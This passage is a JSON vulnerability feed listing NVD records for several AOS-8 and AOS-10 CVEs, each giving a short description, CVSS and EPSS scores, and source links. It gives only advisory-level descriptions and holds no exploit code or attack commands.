CVE-2026-79888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79888","type":"primary","publishedAt":"2026-10-22T19:18:01.350Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79887","cveId":"CVE-2026-79887","aliases":[],"kind":"vulnerability","title":"A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution.","summary":"A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could lead to complete device control, enabling interception of network traffic and potential compromise of connected systems.","detail":"A vulnerability in the web interface of AOS-8 could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could lead to complete device control, enabling interception of network traffic and potential compromise of connected systems.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.247Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79887","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00593,"percentile":0.48056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79887&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79887","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79887","type":"primary","publishedAt":"2026-10-22T19:18:01.247Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79887&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79887, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79886","cveId":"CVE-2026-79886","aliases":[],"kind":"vulnerability","title":"An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8.","summary":"An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected service on the controller, with a limited impact to its integrity.","detail":"An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected service on the controller, with a limited impact to its integrity.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.130Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79886","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00367,"percentile":0.30253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79886","type":"primary","publishedAt":"2026-10-22T19:18:01.130Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79885","cveId":"CVE-2026-79885","aliases":[],"kind":"vulnerability","title":"An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8.","summary":"An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to make limited modifications to files on the affected system and to disrupt the availability of the affected service.","detail":"An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to make limited modifications to files on the affected system and to disrupt the availability of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:01.023Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79885","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00388,"percentile":0.32619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79885&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79885","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79885","type":"primary","publishedAt":"2026-10-22T19:18:01.023Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79885&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79885, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79884","cveId":"CVE-2026-79884","aliases":[],"kind":"vulnerability","title":"A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive...","summary":"A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive information. Successful exploitation could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.","detail":"A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive information. Successful exploitation could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.917Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79884","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00245,"percentile":0.15625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79884","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79884","type":"primary","publishedAt":"2026-10-22T19:18:00.917Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79883","cveId":"CVE-2026-79883","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information.","summary":"A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, and to interrupt the normal operation of the affected service.","detail":"A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, and to interrupt the normal operation of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.820Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79883","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00221,"percentile":0.12536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79883","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79883","type":"primary","publishedAt":"2026-10-22T19:18:00.820Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79882","cveId":"CVE-2026-79882","aliases":[],"kind":"vulnerability","title":"There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially...","summary":"There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted packets. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted packets. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.707Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79882","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00674,"percentile":0.51853,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79882","type":"primary","publishedAt":"2026-10-22T19:18:00.707Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79881","cveId":"CVE-2026-79881","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls.","summary":"An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.","detail":"An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.600Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79881","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00448,"percentile":0.38674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79881","type":"primary","publishedAt":"2026-10-22T19:18:00.600Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79880","cveId":"CVE-2026-79880","aliases":[],"kind":"vulnerability","title":"A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack.","summary":"A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.490Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79880","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00502,"percentile":0.42662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79880&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79880","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79880","type":"primary","publishedAt":"2026-10-22T19:18:00.490Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79880&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79880, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79879","cveId":"CVE-2026-79879","aliases":[],"kind":"vulnerability","title":"Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker.","summary":"Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.380Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79879","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00359,"percentile":0.2935,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79879&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79879","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79879","type":"primary","publishedAt":"2026-10-22T19:18:00.380Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 